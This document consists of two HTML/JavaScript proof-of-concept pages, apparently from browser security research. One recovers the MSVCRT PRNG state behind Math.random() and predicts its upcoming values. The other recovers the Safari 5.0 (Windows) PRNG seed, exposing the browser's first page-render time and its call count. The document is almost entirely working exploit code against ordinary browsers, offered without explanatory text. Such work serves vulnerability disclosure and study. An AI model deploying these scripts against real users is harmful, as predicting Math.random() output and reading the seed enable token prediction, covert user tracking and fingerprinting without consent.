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


 

 





 
          


 

 

 











  

  

 















 


          
 
             
             


        


          
          



           


        




           
          



              


 

            
           






  

  


          


             





 


          
        


















































  

  

            
           
            




 

 

        


 

 








 

 







 










 

            








  

  





 
 



















            
       












  

  





  
           






 

<html> 

<body> 

<script> 

document.write("Browser: "+navigator.userAgent); 

</script> 

<br> 

<br> 

<script> 

interval=200; 

iid=null; 

function setint() 

{ 

 interval=document.getElementById('x').value; 

 clearInterval(iid); 

 iid=setInterval("recalc()",interval); 

 return; 

} 

</script> 

<form> 

Polling interval:<br> 

Use low values (e.g. 200) for PRNG state mark demo and reseed 
counting<br> 

Use high values (e.g. 5000) for PRNG prediction demo<br> 

<input type="text" id="x" value="200"><br> 

<input type="button" value="Change" onClick="setint();"> 

</form> 

Total MSVCRT PRNG invocations (since this page load):  

<div id="total"></div><br> 



  

  

MSVCRT PRNG invocations since last reseed:  

<div id="current"></div><br> 

MSVCRT PRNG reseed count (since this page load):  

<div id="reseed"></div><br> 

MSVCRT PRNG state mark:  

<div id="mark"></div><br> 

Current Math.random():  

<div id="math_random"></div><br> 

Calculated next Math.random() values:  

<div id="next"></div><br> 

<script> 

var total_counter=0; 

var current_counter=0; 

var reseed_counter=0; 

var state=0; 

var mark=0; 

 

function adv(x) 

{ 

 return (214013*x+2531011) & 0x7FFFFFFF; 

} 

 

function update_counters(reseed) 

{ 

 document.getElementById("total").innerText=total_counter; 

 document.getElementById("current").innerText=current_counter; 

 document.getElementById("reseed").innerText=reseed_counter; 

 document.getElementById("mark").innerText=mark; 

 m=Math.random(); 

 state=adv(state); 

 state2=adv(state); 

 state2=adv(state2); 

 document.getElementById("math_random").innerText=m; 

 document.getElementById("next").innerText= 

 
 ((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30
); 

 state2=adv(state2); 

 state2=adv(state2); 



  

  

 document.getElementById("next").innerText+=" "+ 

 
 ((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30
); 

  

} 

 

function find_mark(st) 

{ 

 for (;;) 

 { 

  if ((st & 0x3FF)==0) 

  { 

   return st>>10; 

  } 

  st=adv(st); 

 } 

} 

 

function recalc() 

{ 

 var rr=new Array(); 

 rr[0]=Math.random()*Math.pow(2,30); 

  

 // Try to resync with the PRNG. 

 // Allow up to 1000 iterations from previous sync 

 for (k=0;k<1000;k++) 

 { 

  state=adv(state); 

  if ((((state>>16)&0x7FFF)==(rr[0]&0x7FFF)) &&  

      (((adv(state)>>16)&0x7FFF)==(rr[0]>>15))) 

  { 

   state=adv(state); 

   total_counter+=k; 

   current_counter+=k; 

   mark=find_mark(state); 

   update_counters(false); 

   return; 

  } 



  

  

 } 

  

 rr[1]=Math.random()*Math.pow(2,30); 

 

 var r=new Array(); 

 for (i=0;i<2;i++) 

 { 

  r.push(rr[i] & 0x7FFF); 

  r.push(rr[i]>>15);  

 } 

 

 for (v=0;v<(1<<16);v++) 

 { 

  state=(r[0]<<16)|v; 

  for (j=1;j<4;j++) 

  { 

   state=adv(state); 

   if (((state>>16)&0x7FFF)!=r[j]) 

   { 

    break; 

   } 

  } 

  if (j==4) 

  { 

   reseed_counter++; 

   current_counter=0; 

   mark=find_mark(state); 

   update_counters(true); 

   return; 

  } 

 } 

} 

recalc(); 

setint(); 

</script> 

</body> 

</html> 



  

  




         


 

 

<html> 

<body> 

<script> 

document.write("userAgent: "+navigator.userAgent); 

</script> 

<br> 

<br> 

<div id="foo"></div> 

<form> 

<input type="button"  

 value="Calculate Safari 5.0 (Windows) PRNG seed and mileage"  

 onClick="calc_seed()"> 

</form> 

<script> 

function calc_seed() 

{ 

 r1=Math.random()*Math.pow(2,32); 

 r2=Math.random()*Math.pow(2,32); 

  

 H=r1; 

 L=(r2-(((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16)))  

  & 0xFFFFFFFF; 

   

 // 10000 is just an arbitrary limit to make sure the  

 // algorithm doesn't run into an endless loop on  

 // non-vulnerable browsers 

 for (k=0;k<10000;k++) 

 { 

  L=(L-H) & 0xFFFFFFFF; 

  H=(H-L) & 0xFFFFFFFF; 



  

  

  H=((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16); 

  if ((H^L)==0x49616E42) 

  { 

   document.getElementById("foo").innerText= 

    "PRNG Seed: "+H+" "+ 

    "(First page rendered: "+ 

     (new Date(H*1000)).toString()+")\n"+ 

    "PRNG mileage: "+k; 

   return; 

  } 

 } 

 document.getElementById("foo").innerText= 

  "Could not find seed\n"+  

  "Are you sure it's Safari 5.0 for Windows?"; 

 return; 

} 

</script> 

</body> 

</html> 


